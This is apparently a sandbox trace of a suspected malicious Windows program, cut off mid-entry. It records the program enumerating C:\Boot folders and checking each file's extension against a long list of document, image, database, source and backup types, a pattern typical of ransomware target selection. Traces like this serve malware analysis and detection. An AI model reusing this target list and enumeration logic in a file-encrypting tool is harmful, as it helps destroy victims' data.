lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.864] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.864] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.864] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0060.865] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.865] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.865] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.865] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.865] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.865] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.865] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0060.865] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.865] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.930] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.930] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.930] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.930] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.931] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.931] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0060.931] lstrlenW (lpString="C:\\Boot\\sv-SE") returned 13 [0060.931] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\sv-SE") returned 1 [0060.931] lstrlenW (lpString="sv-SE") returned 5 [0060.931] lstrcmpiW (lpString1="C:\\Windows", lpString2="sv-SE") returned -1 [0060.931] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.931] lstrlenW (lpString="C:\\Boot\\sv-SE") returned 13 [0060.931] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.931] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.931] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.931] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.931] lstrlenW (lpString=".1cd") returned 4 [0060.932] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.932] lstrlenW (lpString=".3ds") returned 4 [0060.932] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0060.932] lstrlenW (lpString=".3fr") returned 4 [0060.932] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0060.932] lstrlenW (lpString=".3g2") returned 4 [0060.932] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0060.932] lstrlenW (lpString=".3gp") returned 4 [0060.932] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0060.932] lstrlenW (lpString=".7z") returned 3 [0060.932] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.932] lstrlenW (lpString=".accda") returned 6 [0060.932] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0060.932] lstrlenW (lpString=".accdb") returned 6 [0060.932] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0060.932] lstrlenW (lpString=".accdc") returned 6 [0060.932] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0060.932] lstrlenW (lpString=".accde") returned 6 [0060.932] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0060.932] lstrlenW (lpString=".accdt") returned 6 [0060.932] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0060.932] lstrlenW (lpString=".accdw") returned 6 [0060.932] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0060.932] lstrlenW (lpString=".adb") returned 4 [0060.932] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0060.932] lstrlenW (lpString=".adp") returned 4 [0060.932] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0060.932] lstrlenW (lpString=".ai") returned 3 [0060.932] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0060.932] lstrlenW (lpString=".ai3") returned 4 [0060.932] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0060.932] lstrlenW (lpString=".ai4") returned 4 [0060.932] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0060.932] lstrlenW (lpString=".ai5") returned 4 [0060.932] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0060.932] lstrlenW (lpString=".ai6") returned 4 [0060.932] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".ai7") returned 4 [0060.933] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".ai8") returned 4 [0060.933] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".anim") returned 5 [0060.933] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0060.933] lstrlenW (lpString=".arw") returned 4 [0060.933] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".as") returned 3 [0060.933] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0060.933] lstrlenW (lpString=".asa") returned 4 [0060.933] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".asc") returned 4 [0060.933] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".ascx") returned 5 [0060.933] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0060.933] lstrlenW (lpString=".asm") returned 4 [0060.933] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".asmx") returned 5 [0060.933] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0060.933] lstrlenW (lpString=".asp") returned 4 [0060.933] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".aspx") returned 5 [0060.933] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0060.933] lstrlenW (lpString=".asr") returned 4 [0060.933] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".asx") returned 4 [0060.933] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".avi") returned 4 [0060.933] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".avs") returned 4 [0060.933] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".backup") returned 7 [0060.933] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0060.933] lstrlenW (lpString=".bak") returned 4 [0060.933] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0060.933] lstrlenW (lpString=".bay") returned 4 [0060.934] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".bd") returned 3 [0060.934] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0060.934] lstrlenW (lpString=".bin") returned 4 [0060.934] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".bmp") returned 4 [0060.934] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".bz2") returned 4 [0060.934] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".c") returned 2 [0060.934] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0060.934] lstrlenW (lpString=".cdr") returned 4 [0060.934] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".cer") returned 4 [0060.934] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".cf") returned 3 [0060.934] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0060.934] lstrlenW (lpString=".cfc") returned 4 [0060.934] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".cfm") returned 4 [0060.934] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".cfml") returned 5 [0060.934] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0060.934] lstrlenW (lpString=".cfu") returned 4 [0060.934] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".chm") returned 4 [0060.934] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".cin") returned 4 [0060.934] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".class") returned 6 [0060.934] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0060.934] lstrlenW (lpString=".clx") returned 4 [0060.934] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0060.934] lstrlenW (lpString=".config") returned 7 [0060.934] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0060.934] lstrlenW (lpString=".cpp") returned 4 [0060.934] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".cr2") returned 4 [0060.935] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".crt") returned 4 [0060.935] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".crw") returned 4 [0060.935] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".cs") returned 3 [0060.935] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0060.935] lstrlenW (lpString=".css") returned 4 [0060.935] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".csv") returned 4 [0060.935] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".cub") returned 4 [0060.935] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".dae") returned 4 [0060.935] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".dat") returned 4 [0060.935] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".db") returned 3 [0060.935] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0060.935] lstrlenW (lpString=".dbf") returned 4 [0060.935] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".dbx") returned 4 [0060.935] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".dc3") returned 4 [0060.935] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".dcm") returned 4 [0060.935] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".dcr") returned 4 [0060.935] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".der") returned 4 [0060.935] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".dib") returned 4 [0060.935] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0060.935] lstrlenW (lpString=".dic") returned 4 [0060.936] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0060.936] lstrlenW (lpString=".dif") returned 4 [0060.936] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0060.936] lstrlenW (lpString=".divx") returned 5 [0060.936] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0060.936] lstrlenW (lpString=".djvu") returned 5 [0060.936] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0060.936] lstrlenW (lpString=".dng") returned 4 [0060.936] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0060.936] lstrlenW (lpString=".doc") returned 4 [0060.936] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.936] lstrlenW (lpString=".docm") returned 5 [0060.936] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0060.936] lstrlenW (lpString=".docx") returned 5 [0060.936] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.936] lstrlenW (lpString=".dot") returned 4 [0060.936] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0060.936] lstrlenW (lpString=".dotm") returned 5 [0060.936] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0060.936] lstrlenW (lpString=".dotx") returned 5 [0060.936] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0060.936] lstrlenW (lpString=".dpx") returned 4 [0060.936] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0060.936] lstrlenW (lpString=".dqy") returned 4 [0060.936] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0060.936] lstrlenW (lpString=".dsn") returned 4 [0060.936] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0060.936] lstrlenW (lpString=".dt") returned 3 [0060.936] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0060.936] lstrlenW (lpString=".dtd") returned 4 [0060.936] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0060.936] lstrlenW (lpString=".dwg") returned 4 [0060.936] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0060.936] lstrlenW (lpString=".dwt") returned 4 [0060.936] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".dx") returned 3 [0060.937] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0060.937] lstrlenW (lpString=".dxf") returned 4 [0060.937] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".edml") returned 5 [0060.937] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0060.937] lstrlenW (lpString=".efd") returned 4 [0060.937] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".elf") returned 4 [0060.937] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".emf") returned 4 [0060.937] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".emz") returned 4 [0060.937] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".epf") returned 4 [0060.937] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".eps") returned 4 [0060.937] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".epsf") returned 5 [0060.937] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0060.937] lstrlenW (lpString=".epsp") returned 5 [0060.937] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0060.937] lstrlenW (lpString=".erf") returned 4 [0060.937] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".exr") returned 4 [0060.937] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".f4v") returned 4 [0060.937] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".fido") returned 5 [0060.937] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0060.937] lstrlenW (lpString=".flm") returned 4 [0060.937] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".flv") returned 4 [0060.937] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0060.937] lstrlenW (lpString=".frm") returned 4 [0060.938] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".fxg") returned 4 [0060.938] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".geo") returned 4 [0060.938] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".gif") returned 4 [0060.938] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".grs") returned 4 [0060.938] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".gz") returned 3 [0060.938] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0060.938] lstrlenW (lpString=".h") returned 2 [0060.938] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0060.938] lstrlenW (lpString=".hdr") returned 4 [0060.938] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".hpp") returned 4 [0060.938] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".hta") returned 4 [0060.938] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".htc") returned 4 [0060.938] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".htm") returned 4 [0060.938] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".html") returned 5 [0060.938] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0060.938] lstrlenW (lpString=".icb") returned 4 [0060.938] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".ics") returned 4 [0060.938] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".iff") returned 4 [0060.938] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".inc") returned 4 [0060.938] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0060.938] lstrlenW (lpString=".indd") returned 5 [0060.938] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0060.939] lstrlenW (lpString=".ini") returned 4 [0060.939] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".iqy") returned 4 [0060.939] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".j2c") returned 4 [0060.939] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".j2k") returned 4 [0060.939] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".java") returned 5 [0060.939] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0060.939] lstrlenW (lpString=".jp2") returned 4 [0060.939] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".jpc") returned 4 [0060.939] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".jpe") returned 4 [0060.939] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".jpeg") returned 5 [0060.939] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0060.939] lstrlenW (lpString=".jpf") returned 4 [0060.939] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".jpg") returned 4 [0060.939] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".jpx") returned 4 [0060.939] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".js") returned 3 [0060.939] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0060.939] lstrlenW (lpString=".jsf") returned 4 [0060.939] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".json") returned 5 [0060.939] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0060.939] lstrlenW (lpString=".jsp") returned 4 [0060.939] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".kdc") returned 4 [0060.939] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0060.939] lstrlenW (lpString=".kmz") returned 4 [0060.940] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".kwm") returned 4 [0060.940] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".lasso") returned 6 [0060.940] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0060.940] lstrlenW (lpString=".lbi") returned 4 [0060.940] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".lgf") returned 4 [0060.940] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".lgp") returned 4 [0060.940] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".log") returned 4 [0060.940] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".m1v") returned 4 [0060.940] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0060.940] 